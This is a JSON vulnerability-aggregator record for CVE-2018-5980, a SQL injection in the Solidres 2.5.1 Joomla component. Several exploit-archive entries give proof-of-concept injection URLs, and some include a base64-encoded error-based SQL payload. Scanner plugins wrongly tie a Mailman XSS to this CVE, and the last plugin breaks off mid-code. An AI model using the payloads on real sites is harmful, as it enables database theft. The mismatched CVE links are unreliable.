{"cve": [{"lastseen": "2021-02-02T06:52:40", "description": "SQL Injection exists in the Solidres 2.5.1 component for Joomla! via the direction parameter in a hub.search action.", "edition": 4, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-02-17T07:29:00", "title": "CVE-2018-5980", "type": "cve", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-5980"], "modified": "2018-03-02T15:51:00", "cpe": ["cpe:/a:solidres:solidres:2.5.1"], "id": "CVE-2018-5980", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-5980", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:solidres:solidres:2.5.1:*:*:*:*:joomla\\!:*:*"]}], "packetstorm": [{"lastseen": "2018-02-17T17:02:52", "description": "", "published": "2018-02-17T00:00:00", "type": "packetstorm", "title": "Joomla! Solidres 2.5.1 SQL Injection", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-5980"], "modified": "2018-02-17T00:00:00", "id": "PACKETSTORM:146458", "href": "https://packetstormsecurity.com/files/146458/Joomla-Solidres-2.5.1-SQL-Injection.html", "sourceData": "`# # # # \n# Exploit Title: Joomla! Component Solidres 2.5.1 - SQL Injection \n# Dork: N/A \n# Date: 16.02.2018 \n# Vendor Homepage: http://solidres.com/ \n# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/solidres/ \n# Version: 2.5.1 \n# Category: Webapps \n# Tested on: WiN7_x64/KaLiLinuX_x64 \n# CVE: CVE-2018-5980 \n# # # # \n# Exploit Author: Ihsan Sencan \n# # # # \n# \n# POC: \n# \n# 1) \n# http://localhost/[PATH]/index.php/en/component/solidres/?location=&checkin=2018-01-08&checkout=2018-01-09&room_quantity=1&room_opt[1][adults]=1&room_opt[1][children]=0&option=com_solidres&task=hub.search&start=0&Itemid=306&9f3d70a896d5f1332174599ecac43607=1&ordering=score&direction=desc[SQL]&type_id=12 \n# \n# http://localhost/[PATH]/index.php/en/component/solidres/?checkin=2018-01-08&checkout=2018-01-09&option=com_solidres&task=hub.search&direction=desc[SQL] \n# \n# # # # \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/146458/joomlasolidres251-sql.txt"}], "zdt": [{"lastseen": "2018-04-09T17:37:50", "edition": 1, "description": "Exploit for php platform in category web applications", "published": "2018-02-17T00:00:00", "title": "Joomla Solidres 2.5.1 Component - SQL Injection Vulnerability", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-5980"], "modified": "2018-02-17T00:00:00", "href": "https://0day.today/exploit/description/29836", "id": "1337DAY-ID-29836", "sourceData": "# # # # \r\n# Exploit Title: Joomla! Component Solidres 2.5.1 - SQL Injection\r\n# Vendor Homepage: http://solidres.com/\r\n# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/solidres/\r\n# Version: 2.5.1\r\n# Category: Webapps\r\n# Tested on: WiN7_x64/KaLiLinuX_x64\r\n# CVE: CVE-2018-5980\r\n# # # #\r\n# Exploit Author: Ihsan Sencan \r\n# # # # \r\n# \r\n# POC:\r\n# \r\n# 1)\r\n# http://localhost/[PATH]/index.php/en/component/solidres/?location=&checkin=2018-01-08&checkout=2018-01-09&room_quantity=1&room_opt[1][adults]=1&room_opt[1][children]=0&option=com_solidres&task=hub.search&start=0&Itemid=306&9f3d70a896d5f1332174599ecac43607=1&ordering=score&direction=desc[SQL]&type_id=12\r\n# \r\n# http://localhost/[PATH]/index.php/en/component/solidres/?checkin=2018-01-08&checkout=2018-01-09&option=com_solidres&task=hub.search&direction=desc[SQL]\r\n# \r\n# LChTRUxFQ1QgNDU2MSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHg3MTYyNmE3MTcxLChTRUxFQ1QgKEVMVCg0NTYxPTQ1NjEsMSkpKSwweDcxNmI3MDYyNzEsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLlBMVUdJTlMgR1JPVVAgQlkgeClhKQ==\r\n# \r\n# # # #\n\n# 0day.today [2018-04-09] #", "sourceHref": "https://0day.today/exploit/29836", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:23", "description": "\nJoomla! Component Solidres 2.5.1 - SQL Injection", "edition": 1, "published": "2018-02-16T00:00:00", "title": "Joomla! Component Solidres 2.5.1 - SQL Injection", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-5980"], "modified": "2018-02-16T00:00:00", "id": "EXPLOITPACK:7E9E9EEE8EE88C76B44BF992E9D16A54", "href": "", "sourceData": "# # # # \n# Exploit Title: Joomla! Component Solidres 2.5.1 - SQL Injection\n# Dork: N/A\n# Date: 16.02.2018\n# Vendor Homepage: http://solidres.com/\n# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/solidres/\n# Version: 2.5.1\n# Category: Webapps\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: CVE-2018-5980\n# # # #\n# Exploit Author: Ihsan Sencan \n# # # # \n# \n# POC:\n# \n# 1)\n# http://localhost/[PATH]/index.php/en/component/solidres/?location=&checkin=2018-01-08&checkout=2018-01-09&room_quantity=1&room_opt[1][adults]=1&room_opt[1][children]=0&option=com_solidres&task=hub.search&start=0&Itemid=306&9f3d70a896d5f1332174599ecac43607=1&ordering=score&direction=desc[SQL]&type_id=12\n# \n# http://localhost/[PATH]/index.php/en/component/solidres/?checkin=2018-01-08&checkout=2018-01-09&option=com_solidres&task=hub.search&direction=desc[SQL]\n# \n# LChTRUxFQ1QgNDU2MSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHg3MTYyNmE3MTcxLChTRUxFQ1QgKEVMVCg0NTYxPTQ1NjEsMSkpKSwweDcxNmI3MDYyNzEsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLlBMVUdJTlMgR1JPVVAgQlkgeClhKQ==\n# \n# # # #", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2018-02-16T23:03:26", "description": "Joomla! Component Solidres 2.5.1 - SQL Injection. CVE-2018-5980. Webapps exploit for PHP platform. Tags: SQL Injection (SQLi)", "published": "2018-02-16T00:00:00", "type": "exploitdb", "title": "Joomla! Component Solidres 2.5.1 - SQL Injection", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-5980"], "modified": "2018-02-16T00:00:00", "id": "EDB-ID:44128", "href": "https://www.exploit-db.com/exploits/44128/", "sourceData": "# # # # \r\n# Exploit Title: Joomla! Component Solidres 2.5.1 - SQL Injection\r\n# Dork: N/A\r\n# Date: 16.02.2018\r\n# Vendor Homepage: http://solidres.com/\r\n# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/solidres/\r\n# Version: 2.5.1\r\n# Category: Webapps\r\n# Tested on: WiN7_x64/KaLiLinuX_x64\r\n# CVE: CVE-2018-5980\r\n# # # #\r\n# Exploit Author: Ihsan Sencan \r\n# # # # \r\n# \r\n# POC:\r\n# \r\n# 1)\r\n# http://localhost/[PATH]/index.php/en/component/solidres/?location=&checkin=2018-01-08&checkout=2018-01-09&room_quantity=1&room_opt[1][adults]=1&room_opt[1][children]=0&option=com_solidres&task=hub.search&start=0&Itemid=306&9f3d70a896d5f1332174599ecac43607=1&ordering=score&direction=desc[SQL]&type_id=12\r\n# \r\n# http://localhost/[PATH]/index.php/en/component/solidres/?checkin=2018-01-08&checkout=2018-01-09&option=com_solidres&task=hub.search&direction=desc[SQL]\r\n# \r\n# LChTRUxFQ1QgNDU2MSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHg3MTYyNmE3MTcxLChTRUxFQ1QgKEVMVCg0NTYxPTQ1NjEsMSkpKSwweDcxNmI3MDYyNzEsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLlBMVUdJTlMgR1JPVVAgQlkgeClhKQ==\r\n# \r\n# # # #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/44128/"}], "nessus": [{"lastseen": "2021-01-07T08:53:16", "description": "According to the versions of the mailman package installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerabilities :\n\n - Mailman is software to help manage email discussion\n lists, much like Majordomo and Smartmail. Unlike most\n similar products, Mailman gives each mailing list a\n webpage, and allows users to subscribe,unsubscribe,\n etc. over the Web. Even the list manager can administer\n his or her list entirely from the Web. Mailman also\n integrates most things people want to do with mailing\n lists, including archiving, mail news gateways, and so\n on.\n\n - Security fix(es):\n\n - Cross-site scripting (XSS) vulnerability in the web UI\n in Mailman before 2.1.26 allows remote attackers to\n inject arbitrary web or HTML via a user-options\n URL.(CVE-2018-5980)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 22, "cvss3": {"score": 6.1, "vector": "AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}, "published": "2018-05-02T00:00:00", "title": "EulerOS 2.0 SP1 : mailman (EulerOS-SA-2018-1086)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-5950", "CVE-2018-5980"], "modified": "2018-05-02T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:mailman", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2018-1086.NASL", "href": "https://www.tenable.com/plugins/nessus/109484", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(109484);\n script_version(\"1.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2018-5950\"\n );\n\n script_name(english:\"EulerOS 2.0 SP1 : mailman (EulerOS-SA-2018-1086)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the mailman package installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerabilities :\n\n - Mailman is software to help manage email discussion\n lists, much like Majordomo and Smartmail. Unlike most\n similar products, Mailman gives each mailing list a\n webpage, and allows users to subscribe,unsubscribe,\n etc. over the Web. Even the list manager can administer\n his or her list entirely from the Web. Mailman also\n integrates most things people want to do with mailing\n lists, including archiving, mail news gateways, and so\n on.\n\n - Security fix(es):\n\n - Cross-site scripting (XSS) vulnerability in the web UI\n in Mailman before 2.1.26 allows remote attackers to\n inject arbitrary web or HTML via a user-options\n URL.(CVE-2018-5980)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2018-1086\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?f2896299\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected mailman packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/03/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/05/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:mailman\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2018-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(1)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP1\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP1\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"mailman-2.1.15-26.1\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"1\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"mailman\");\n}\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-01-07T08:53:16", "description": "According to the versions of the mailman package installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerabilities :\n\n - Mailman is software to help manage email discussion\n lists, much like Majordomo and Smartmail. Unlike most\n similar products, Mailman gives each mailing list a\n webpage, and allows users to subscribe,unsubscribe,\n etc. over the Web. Even the list manager can administer\n his or her list entirely from the Web. Mailman also\n integrates most things people want to do with mailing\n lists, including archiving, mail news gateways, and so\n on.\n\n - Security fix(es):\n\n - Cross-site scripting (XSS) vulnerability in the web UI\n in Mailman before 2.1.26 allows remote attackers to\n inject arbitrary web or HTML via a user-options\n URL.(CVE-2018-5980)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 22, "cvss3": {"score": 6.1, "vector": "AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}, "published": "2018-05-02T00:00:00", "title": "EulerOS 2.0 SP2 : mailman (EulerOS-SA-2018-1087)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-5950", "CVE-2018-5980"], "modified": "2018-05-02T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:mailman", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2018-1087.NASL", "href": "https://www.tenable.com/plugins/nessus/109485", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(109485);\n script_version(\"1.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2018-5950\"\n );\n\n script_name(english:\"EulerOS 2.0 SP2 : mailman (EulerOS-SA-2018-1087)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the mailman package installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerabilities :\n\n - Mailman is software to help manage email discussion\n lists, much like Majordomo and Smartmail. Unlike most\n similar products, Mailman gives each mailing list a\n webpage, and allows users to subscribe,unsubscribe,\n etc. over the Web. Even the list manager can administer\n his or her list entirely from the Web. Mailman also\n integrates most things people want to do with mailing\n lists, including archiving, mail news gateways, and so\n on.\n\n - Security fix(es):\n\n - Cross-site scripting (XSS) vulnerability in the web UI\n in Mailman before 2.1.26 allows remote attackers to\n inject arbitrary web or HTML via a user-options\n URL.(CVE-2018-5980)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2018-1087\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?98e2a485\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected mailman packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/03/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/05/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:mailman\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2018-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(2)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP2\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP2\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"mailman-2.1.15-26.1\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"2\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"mailman\");\n}\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "openvas": [{"lastseen": "2020-01-27T18:40:37", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-5950", "CVE-2018-5980"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220181086", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220181086", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for mailman (EulerOS-SA-2018-1086)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2018.1086\");\n script_version(\"2020-01-23T11:12:07+0000\");\n script_cve_id(\"CVE-2018-5950\");\n script_tag(name:\"cvss_base\", value:\"4.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:N/I:P/A:N\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 11:12:07 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 11:12:07 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for mailman (EulerOS-SA-2018-1086)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP1\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2018-1086\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2018-1086\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'mailman' package(s) announced via the EulerOS-SA-2018-1086 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Cross-site scripting (XSS) vulnerability in the web UI in Mailman before 2.1.26 allows remote attackers to inject arbitrary web or HTML via a user-options URL.(CVE-2018-5980)\");\n\n script_tag(name:\"affected\", value:\"'mailman' package(s) on Huawei EulerOS V2.0SP1.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP1\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"mailman\", rpm:\"mailman~2.1.15~26.1\", rls:\"EULEROS-2.0SP1\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-27T18:36:55", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-5950", "CVE-2018-5980"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220181087", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220181087", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for mailman (EulerOS-SA-2018-1087)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2018.1087\");\n script_version(\"2020-01-23T11:12:08+0000\");\n script_cve_id(\"CVE-2018-5950\");\n script_tag(name:\"cvss_base\", value:\"4.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:N/I:P/A:N\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 11:12:08 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 11:12:08 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for mailman (EulerOS-SA-2018-1087)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP2\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2018-1087\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2018-1087\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'mailman' package(s) announced via the EulerOS-SA-2018-1087 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Cross-site scripting (XSS) vulnerability in the web UI in Mailman before 2.1.26 allows remote attackers to inject arbitrary web or HTML via a user-options URL.(CVE-2018-5980)\");\n\n script_tag(name:\"affected\", value:\"'mailman' package(s) on Huawei EulerOS V2.0SP2.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP2\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"mailman\", rpm:\"mailman~2.1.15~26.1\", 